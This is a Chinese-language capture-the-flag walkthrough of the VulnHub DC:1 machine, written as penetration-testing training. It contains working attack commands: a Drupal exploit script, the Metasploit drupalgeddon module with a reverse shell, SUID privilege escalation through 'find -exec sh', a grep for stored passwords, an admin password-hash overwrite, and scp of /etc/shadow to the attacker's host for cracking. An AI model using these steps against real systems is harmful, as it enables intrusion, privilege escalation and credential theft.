DC:1
靶机介绍
靶机:DC:1
靶机页面:DC: 1 ~ VulnHub
靶机里有5个flag,并要求获取root权限。
端口扫描
首先找出靶机的IP地址:
nmap -sn 192.168.183.0/24 -oG -
找出了靶机的IP后,可以对其用端口扫描,看看开发了那些端口
nmap -sV 192.168.183.136
探测CMS
CMS,Content Management System内容管理系统,也就是网站模板。
- 如果挖掘到某个CMS的漏洞,那么使用这种CMS开发的网站也大概率会存在这种漏洞。
- CMS属于网站敏感信息。
探测目标网站所使用的CMS类型和版本
- 云悉:yunsee.cn-2.0
- 指纹识别:http://whatweb.bugscaner.com/
- whatweb
打开网站,百度搜一下Drupal,发现是CMS
利用exploit渗透网站
exploit
- 利用安全漏洞来造成入侵或破坏效果的程序代码。
- 当某个漏洞被发现之后,就会有一些高手写出这个漏洞的利用程序。
- 通过这些程序,普通用户根本不需了解漏洞的形成原理,就可以直接进行攻击。
Exploit-db
- Kali linux 官方团队维护的一个安全项目,是公认的世界上最大的搜集漏洞的数据库。在这个平台里提供了大量的针对不同系统不同应用的exploit。
- https://www.exploit-db.com/
searchsploit
- 一个基于Exploit-DB的命令行搜索工具
- 可以帮助我们快速查找某个系统或应用所存在的各种已知漏洞以及相应的利用方式。
利用exploit进行攻击
- 查看这个
php/webapps/34984.py
程序的完整路径。
searchsploit -p php/webapps/34992.py
- 对目标进行攻击
查看一下这个脚本如何去用:
python2 /usr/share/exploitdb/exploits/php/webapps/34992.py
python2 /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.183.136 -u hacker -p 123
- 攻击成功
即可用这个用户名和密码在网站进行登录。
获取flag3
在网站后台发现flag3
利用MSF渗透网站
Metasploit Framework(通常简称MSF)
- 一个强大的漏洞利用和测试的综合平台,其中集成了大量的漏洞利用工具。
- 在Kali中集成了MSF的社区版本。
在MSF中主要包含了以下模块:
- exploit:渗透模块,用于针对目标漏洞发起渗透测试。
- payload:攻击载荷,payload是在目标系统被成功渗透后执行的代码,payload中的主要内容是Shellcode,用于获取Shell。
- auxiliary,辅助模块,执行扫描之类的操作。
- encoder,编码器模块,用来对代码进行混淆,从而绕过安全保护机制的检测。
- post,后渗透模块,在拿到Shell和权限之后,进一步对目标和内网进行渗透。
- evasion,混淆模块,生成能够绕过杀毒软件的Shell。
- nop,空模块,生成代码中的空,比如在汇编指令中,不做任何操作即为nop。
MSF初始化
- 先在Kali中运行postgresql服务,然后再执行msfdb init命令对MSF的数据库进行初始化。
-
systemctl start postgresql.service
msfdb init
运行MSF
- 执行
msfconsole
命令运行MSF,进入Metasploit控制台,这是一个交互式的操作界面。 - 执行
db_status
命令可以查看MSF数据库的连接状态。
查找与Drupal相关的exploit
search drupal
使用exploit
- 使用
use exploit/unix/webapp/drupal_drupalgeddon
- 或
use 1
都可以
查看需要设置的选项
- 使用
show option
命令查看需要设置的选项
有个required,required是yes属于必选项,是no的属于可选项。
设置选项
- 这里设置一下RHOSTS就行,就是设置一下靶机的IP
set RHOSTS 192.168.183.136
exploit往往还要结合payload一起使用
- payload其实就是一个木马程序,木马客户端在靶机上执行,木马服务端在Kali上执行。
- 这个exploit已经自动调用了一个payload来配合。
- 这个payload会在Kali上开启4444端口,等待客户端在靶机上运行后,自动来连接Kali。
实施攻击
- 执行run或者exploit就可以开始实施攻击
- 攻击成功之后,会产生一个Meterpreter会话,这是由MSF给提供的一个Shell。
- 可以执行shell命令可以获得一个系统Shell。
获取flag1
在当前目录中发现flag1
- 当前用户www-data,Nginx的默认用户,权限比较低。
- 当前工作目录/var/www,也是网站主目录。
利用pty模块获得系统Shell
系统的shell有很多缺点,比如无法进入Python的交互模式等等,这里就要借用Python的pty来获取系统的shell,功能更强大。
pty
- Python的内置模块,无需安装即可直接调用。
- 使用pty的spawn()方法,可以打开一个子进程,然后去执行相应的任务。
- 通常都是执行
pty.spawn('/bin/bash')
,这样就能获得一个Linux系统Shell。
使用python的 -c选项把代码当成命令去执行,就可以不用进去Python里面
python -c "import pty;pty.spawn('/bin/bash')"
获取flag4
查找flag
这里有个小细节,就是用find命令查找出来了root家目录下的文件,正常情况上应该是没有权限的,是查不出来的,但是这里却能查出,稍加思索这里应该是设置了suid权限。
找到flag4:
上面说还有flag在root目录,普通用户肯定是没有权限,这里要查看到只能提权。
SUID提权
SUID是Linux系统中的一种特殊权限。
- SUID权限专门针对所有者设置,权限字符为“s”。
- 被设置了SUID权限的文件,所有者对应权限位置的“x”将变为“s”。
- 当其他用户执行passwd命令时,会自动以文件所有者root用户的身份去执行。
- SUID通常针对可执行程序文件设置。
- 一般不建议我们自己去设置SUID。
SUID提权的前提条件
- 系统中必须有除了默认设置之外的,其它被设置了SUID的程序。
- 这些程序还要具备运行其它程序的功能。
可以被用来进行SUID提权的程序主要有:
- nmap、vim、find、bash、more、less、nano、cp
查找被设置了SUID权限的文件
- 按照文件权限模式用-perm选项
- SUID对应的权限数字是4,再加上正常的rwx权限,所组成的权限数字一共是4位数。
【 正常权限,r(4),w(2),x(1))】
- 4000中的数字0表示忽略相应位置的权限,也就是说不考虑rwx权限。
- 4000不加“-”则表示精确匹配,加上“-”或“/”表示模糊匹配。
find / -perm -4000
将错误信息屏蔽可以这样find / -perm -4000 2>/dev/null
这里就可以利用被设置了SUID权限的find命令进行提权。
这里需要保证find要查找的文件是存在的。
为什么不使用bash而使用sh,因为bash会自动检测euid(即suid),如果发现euid和uid不匹配,会将euid强制重置为uid。如果非要使用bash就得加上-p选项就不会再覆盖uid了。
-exec 选项的意思是说把find命令找到的结果继续去处理。
/; 固定格式表示结尾
find index.php -exec sh \;
成功提权到root用户,就可以查看到root目录下的flag了。
查找数据库配置文件
网站要操作数据库,就必须得提供数据库的连接地址以及管理员账号和密码等信息。
在大多数网站中都会有一个用于提供这些信息的数据库配置文件。
如何查找数据库配置文件也是在渗透过程中一个比较重要的操作。
Drupal的数据库配置文件:/sites/default/settings.php。
那么如何去查找数据库配置文件呢,由于在配置文件中通常都要设置数据库密码,所以就以password作为查找关键字,然后再把查找结果中的无关内容给排除掉。
grep -rni "password" | grep -Ev "modules|includes|themes|js|scripts"
修改网站管理员密码
上面找到了数据库的用户名和密码就可以去登录了,接下来的目标就是如何修改网站管理员密码,进入数据库查看一下密码
这里观察pass加密的算法不是常规加密,是自己设计的一种加密算法,在网站的scripts目录下有这个脚本可以去进行加密。
成功加密就可以去修改网站管理员的密码了。
update users set pass='$S$DU2Iqq9hGtm2PJzFmBiJHlr.MXP79E5I6Jkta47jHhg5v9n4NeEe' where name='admin';
利用john破解shadow文件中的密码
这里其实还有一个用户flag4,可以破解出他的密码来进行登录。
将靶机中的shadow文件复制到Kali
scp /etc/shadow root@192.168.183.132:/root
利用kali里面的john工具破解密码